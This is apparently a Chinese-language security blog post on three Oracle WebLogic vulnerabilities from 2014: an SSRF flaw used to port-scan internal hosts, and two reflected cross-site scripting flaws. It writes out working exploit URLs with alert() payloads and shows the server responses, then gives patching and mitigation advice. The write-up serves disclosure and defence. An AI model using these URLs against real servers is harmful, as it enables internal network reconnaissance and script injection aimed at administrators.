SSRF漏洞,也称为XSPA(跨站端口攻击),问题存在于应用程序在加载用户提供的URL时,没能正确验证服务器的响应,然后就反馈回了客户端。攻击者可以利用该漏洞绕过访问限制(如防火墙),进而将受感染的服务器作为代理进行端口扫描,甚至访问系统中的数据。
CVE-2014-4210, Server Side Request Forgery in SerachPublicRegistries.jsp 版本10.0.2,10.3.6
Oracle WebLogic web server即可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口。
下面是一个没有服务监听TCP 23端口的例子:
https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://10.0.0.4:23&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&
selfor=Business+location&btnSubmit=Search
响应的片断如下:
weblogic.uddi.client.structures.exception.XML_SoapException: Connection refused
下面是一个有服务监听TCP 23端口的例子:
https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://10.0.0.4:22&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&
selfor=Business+location&btnSubmit=Search
响应片断如下:
weblogic.uddi.client.structures.exception.XML_SoapException:
Received a response from url: http://10.0.0.4:22 which did not have a valid SOAP content-type: unknown/unknown.
可以利用这种功能来发现主机或对主机进行端口扫描。
CVE-2014-4241,Reflected Cross Site Scripting in SetupUDDIExploer.jsp 版本:10.0.2,10.3.6
用户输入映射到一个cookie值(有效期为1年!),这个值会以不安全的方式写入到之后的响应里,暴露给用户进行跨站脚本攻击。
恶意的URL:
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL
响应会为cookier变量的privateregistry设值,并把浏览器重定向到SetupUDDIExplorer.jsp页面。
HTTP/1.1 302 Moved Temporarily
Location: https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp
Set-Cookie: privateinquiryurls=<script>alert(2)</script>; expires=Saturday, 29-Nov-2014 08:00:27 GMT
Content-Length: 331
Content-Type: text/html;charset=UTF-8
重定向的请求为:
GET /uddiexplorer/SetupUDDIExplorer.jsp HTTP/1.1
Host: [vulnerablehost]
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|
http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|
http://uddi.rte.microsoft.com/inquire!Microsoft|
http://services.xmethods.net/glue/inquire/uddi!XMethods|;
privateinquiryurls=<script>alert(2)</script>;
privatepublishurls=http://[vulnerablehost]:8080/uddi/uddilistener;
consumer_display=HOME_VERSION%3d1%26FORGOT_BUTTON_ROLE%3d73;
cookie_check=yes; LANG=en_US%3BUS; navlns=0.0;
那么响应的片断为(响应中包含了cookie值:privateinquiryurls):
<td valign=top width=1%></td>
<td valign=top width=70%>
<p>
<h2>Private Registry:</h2>
<h3>Search URL: <b><script>alert(1)</script></b></h3>
<H3>Publish URL: <b>http://[vulnerablehost]:8080/uddi/uddilistener</b></h3>
</p>
这类URL的例子:
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2</script>&setPrivateRegistryPublish=Set+Publish+URL
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
publicregistryname=test&publicregistryurl=<script>alert(2)</script>&addPublicRegistry=Add+Public+Registry+URL
CVE-2014-4242,Reflected Cross Site Scriping in consolejndi.portal 版本:10.0.2,10.3.6,12.1.1,12.1.2.0.0
控制台应用试图去管理Weblogic 应用服务器,正常是不被暴露的,它的攻击目标是管理员。
这一类URL的例子1:
http://[vulnerablehost]:7001/console/consolejndi.portal?
_pageLabel=JNDIContextPageGeneral&_nfpb=true&JNDIContextPortlethandle=
com.bea.console.handles.JndiContextHandle("<script>alert(1)</script>")
响应片断:
<div class="contenttable"><div class="introText">
<p>Listing of entries found in context <script>alert(1)</script>:</p>
</div>
这一类URL2的例子:
http://[vulnerablehost]:7001/console/consolejndi.portal?
_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');alert(1)//
响应片断:
<script type="text/javascript">
document.write('<div class="JSTree">');
setBaseDirectory('/console/utils/JStree/images/');
setTaxonomyDelimeter('.');
{
_a = new TreeNode('server', null, 'myserver\u0027);
alert(4)//', '/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');
alert(1)//', 'images/spacer.gif', 'images/spacer.gif', null, 'myserver\u0027);alert(4)//', false, false);
修复建议:
1.如果业务不需要UDDI功能,就关闭这个功能。可以删除uddiexporer文件夹,可以可在/weblogicPath/server/lib/uddiexplorer.war解压后,注释掉上面的jsp再打包。
2.安装oracle的更新包。http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html
最后欢迎大家访问我的个人网站:1024s